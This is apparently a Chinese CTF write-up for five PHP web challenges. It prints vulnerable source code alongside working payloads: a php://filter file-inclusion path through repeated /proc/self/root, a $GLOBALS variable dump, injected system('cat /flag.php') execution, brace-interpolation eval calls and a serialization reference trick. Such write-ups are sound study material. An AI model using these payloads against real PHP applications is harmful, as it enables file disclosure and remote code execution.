掌控ctf-2月赛

没事干 随便刷刷题

1伪协议读取系统进程

源码

php 复制代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

php 复制代码
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

php 复制代码
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:

config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

php 复制代码
<?
#GOAL: gather some phpinfo();
function flag(){
    echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

php 复制代码
<?php
#GOAL: get the secret;
class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

exp

php 复制代码
<?php
class just4fun {
    var $enter;
    var $secret;
}


$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);
相关推荐
shishi5215 小时前
trae重装后,无法预览调试弹窗报错的解决方案
ide·计算机视觉·语言模型
00后程序员张7 小时前
对比 Ipa Guard 与 Swift Shield 在 iOS 应用安全处理中的使用差异
android·开发语言·ios·小程序·uni-app·iphone·swift
小皮每天进步一点点8 小时前
IDEA找不到源码
java·ide·intellij-idea
悠哉清闲9 小时前
不同车型drawable不同
android·开发语言
LCG米10 小时前
开发环境搭建:告别Keil,用CLion+STM32CubeMX打造智能嵌入式IDE
ide·stm32·嵌入式硬件
用户405383693510 小时前
开源语音识别FunASR入门详解
ide·macos·xcode
00后程序员张11 小时前
在 iOS 设备上同时监控 CPU、GPU 与内存的方法
android·ios·小程序·https·uni-app·iphone·webview
测试_AI_一辰11 小时前
项目实践笔记 9:打卡/日报Agent项目Bug 修改与稳定性收口(v1.0)
android·开发语言·人工智能·功能测试·ai编程·ab测试
马 孔 多 在下雨12 小时前
Kotlin协程进阶王炸之作-Kotlin的协程到底是什么
android·开发语言·kotlin
冬奇Lab12 小时前
【Kotlin系列15】多平台开发实战:一次编写,多端运行
android·开发语言·kotlin